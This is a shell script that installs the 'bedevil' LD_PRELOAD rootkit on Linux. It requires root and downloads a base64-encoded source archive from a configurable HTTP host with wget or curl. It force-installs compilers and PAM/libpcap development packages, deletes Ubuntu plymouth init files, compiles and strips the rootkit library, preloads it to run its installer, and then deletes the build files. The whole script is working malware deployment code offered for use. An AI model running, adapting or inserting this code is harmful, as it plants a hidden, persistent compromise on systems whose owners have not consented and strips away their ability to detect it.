#!/bin/sh
[ -z "$1" ] && B64LOC="http://127.0.0.1:9001/super.b64" # changeme
[ ! -z "$1" ] && B64LOC="$1" # or not...
WORKDIR="/tmp" # & mayb this.
[ `id -u` != 0 ]&&exit;[ ! -e /proc ]&&exit;[ -d /proc/xen ]&&echo "Xen environment!";[ -d /proc/vz ]&&echo "OpenVZ environment!";[ -f /usr/bin/lveps ]&&echo "CloudLinux LVE!";bpath(){ echo -n `which $1 2>/dev/null||echo -n 'v'`; };[ ! -f `bpath base64` ]&&{ echo 'No base64';exit; };[ ! -f `bpath tar` ]&&{ echo 'No tar';exit; };dlfile(){ if test "$DWNLDR" = "wget";then DL_C="$DWNLDR -q $1 -O $2";fi;if test "$DWNLDR" = "curl";then DL_C="$DWNLDR -s $1 -o $2";fi;$DL_C||{ echo 'Download failed';rm -f $2;exit; }; };_LOC="`printf "$B64LOC"|sed -e 's/^\(.\{4\}\).*/\1/'`";if test "$_LOC" = "http";then [ -f `bpath wget` ]&&DWNLDR='wget';[ -f `bpath curl` ]&&DWNLDR='curl';[ -z $DWNLDR ]&&{ echo 'No wget/curl';exit; };fi;[ ! -z "$1" ]&&mv "$1" $WORKDIR/;cd $WORKDIR;B64NAME="$WORKDIR/`basename $B64LOC`";if test "$_LOC" = "http";then echo "Fetching target";dlfile $B64LOC $B64NAME;fi;TNAME="${B64NAME}.tar.gz";cat $B64NAME|base64 -d>$TNAME||{ echo "Failed b64";rm -f $B64NAME $TNAME;exit; };[ ! -f $TNAME ]&&{ echo "Target missing";rm -f $B64NAME;exit; };IDIR="`tar tzf $TNAME|head -1|cut -f1 -d"/"`";tar xpfzm $TNAME>/dev/null;rm -f $TNAME $B64NAME;[ ! -d "$IDIR" ]&&{ echo "Target missing";rm -f $TNAME $B64NAME;exit; };BSO="`sed '1q;d' $IDIR/settings.cfg`";echo 'Installing';[ -f /usr/bin/yum ]&&{ for pkg in gcc libgcc.i686 glibc-devel.i686 glibc-devel pam-devel libpcap libpcap-devel;do yum -y install -e 0 $pkg;done; };[ -f /usr/bin/pacman ]&&{ pacman -Syy;for pkg in glibc base-devel pam libpcap;do pacman -S $pkg;done; };[ -f /usr/bin/apt-get ]&&{ if test "`uname -m|sed -e 's/^\(.\{4\}\).*/\1/'`"!="armv";then dpkg --add-architecture i386;fi;apt-get -qq --yes --force-yes update;for pkg in gcc-multilib build-essential libpam0g-dev libpcap-dev libpcap0.8-dev;do apt-get -qq --yes --force-yes install $pkg;done;grep -i ubuntu /proc/version&>/dev/null&&rm -f /etc/init/plymouth*; };LF="-lc -ldl -lpcap -lcrypt";WF="-Wall";OF="-O0 -g0";OPS="-fomit-frame-pointer -fPIC";LO="-Wl,--build-id=none";PF="`uname -m`";_PLATFORM="`printf $PF|sed -e 's/^\(.\{4\}\).*/\1/'`";if test "$_PLATFORM" = "armv";then PF="`printf $PF|sed 's/.*\(...\)/\1/'`";fi;gcc -std=gnu99 $OF $IDIR/bedevil.c $WF $OPS -I$IDIR -shared $LF $LO -o $IDIR/$BSO.$PF;gcc -m32 -std=gnu99 $OF $IDIR/bedevil.c $WF $OPS -I$IDIR -shared $LF $LO -o $IDIR/$BSO.i686 2>/dev/null;strip $IDIR/$BSO.*||{ echo "Fail strip";rm -rf $IDIR;exit; };LD_PRELOAD=$IDIR/$BSO.$PF sh -c "./bdvinstall $IDIR/$BSO.*";rm -rf $IDIR;exit;
